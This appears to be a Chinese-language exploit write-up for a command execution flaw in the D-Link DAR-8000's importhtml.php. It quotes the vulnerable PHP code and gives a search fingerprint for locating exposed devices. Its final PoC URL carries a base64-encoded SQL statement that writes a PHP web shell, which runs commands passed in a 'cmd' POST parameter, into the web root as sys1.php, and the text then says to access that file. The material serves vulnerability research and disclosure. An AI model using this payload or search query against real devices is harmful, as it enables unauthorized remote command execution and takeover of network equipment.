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D-Link DAR-8000 importhtml.php 远程命令执行漏洞

漏洞描述

D-Link DAR-8000 importhtml.php文件存在SQL注入导致 远程命令执行漏洞

漏洞影响

D-Link DAR-8000

网络测绘

body="mask.style.visibility"

漏洞复现

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出现漏洞的文件 importhtml.php

<?php 
include_once("global.func.php");
if($_SESSION['language']!="english")
{
    require_once ("include/language_cn.php");
}
else 
{
    require_once ("include/language_en.php");
}

if(isset($_GET['type'])) $get_type = $_GET['type'];
if(isset($_GET['tab'])) $get_tab = $_GET['tab'];
if(isset($_GET['sql'])) $get_sql = $_GET['sql'];

if($get_type == "exporthtmlpost")    
{
    $get_tab = $arr_export_cn[$get_tab];
    exportHtml("$get_tab",stripslashes(base64_decode($get_sql)));
}
elseif($get_type == "exporthtmlchat")    
{
    $get_tab = $arr_export_cn[$get_tab];
    exportHtmlChat("$get_tab",stripslashes(base64_decode($get_sql)));
}
elseif($get_type == "exporthtmlmail")    
{
    $get_tab = $arr_export_cn[$get_tab];
    exportHtmlMail("$get_tab",stripslashes(base64_decode($get_sql)));
}
elseif($get_type == "exporthtmlwebsend")    
{
    $get_tab = $arr_export_cn[$get_tab];
    exportHtmlWebSend("$get_tab",stripslashes(base64_decode($get_sql)));
}
elseif($get_type == "exporthtmlwebrecv")    
{
    $get_tab = $arr_export_cn[$get_tab];
    exportHtmlWebRecv("$get_tab",stripslashes(base64_decode($get_sql)));
}
?>

跟踪exportHtmlMail函数

function exportHtmlMail($filename,$sql){
    Header( "Expires: 0" );
    Header( "Pragma: public" );
    Header( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
    Header( "Cache-Control: public");
    Header( "Content-Type: application/octet-stream" );
    header("Accept-Ranges: bytes");
    header("Content-Disposition: attachment; filename=$filename.html");
    echo "<html>\n";
    echo "<head><title>报表</title></head>\n";
    echo "<body>\n";
    $conn = connOther();
    $result = mysql_query($sql,$conn);
    while ($data= mysql_fetch_array($result)){
        $post_content = "";
        if($data['mail_file_path'] == "(null)"){
            $post_content = "<font color=red>内容审计未启用</font>";
        }
        else{
            $post_filename=$data['mail_file_path'];
            $ifother = "";
            $ifother = ifExistOther($post_filename);
            if($ifother!=""){
                $post_filename = $ifother;
            }
            $str = "/usr/bin/cap2con $post_filename pop";
            system($str,$returnvalue);
            $post_filename=str_replace(".cap",".eml",$post_filename);
            $post_content = file_get_contents($post_filename);
            $rec=new mime_decode;
            $post_content=$rec->decode_mime_string($post_content);
            //...
        }
    }
}

这里可以发现通过base64解码后执行的Sql语句结果传入函数exportHtmlMail中调用system执行, 而 $post_filename 可控

$str = "/usr/bin/cap2con $post_filename pop";

验证POC

https://xxx.xxx.xxx.xxx/importhtml.php?type=exporthtmlmail&tab=tb_RCtrlLog&sql=c2VsZWN0IDB4M2MzZjcwNjg3MDIwNjU2MzY4NmYyMDczNzk3Mzc0NjU2ZDI4MjQ1ZjUwNGY1MzU0NWIyMjYzNmQ2NDIyNWQyOTNiM2YzZSBpbnRvIG91dGZpbGUgJy91c3IvaGRkb2NzL25zZy9hcHAvc3lzMS5waHAn

访问成功后会触发下载日志文件，再访问 sys1.php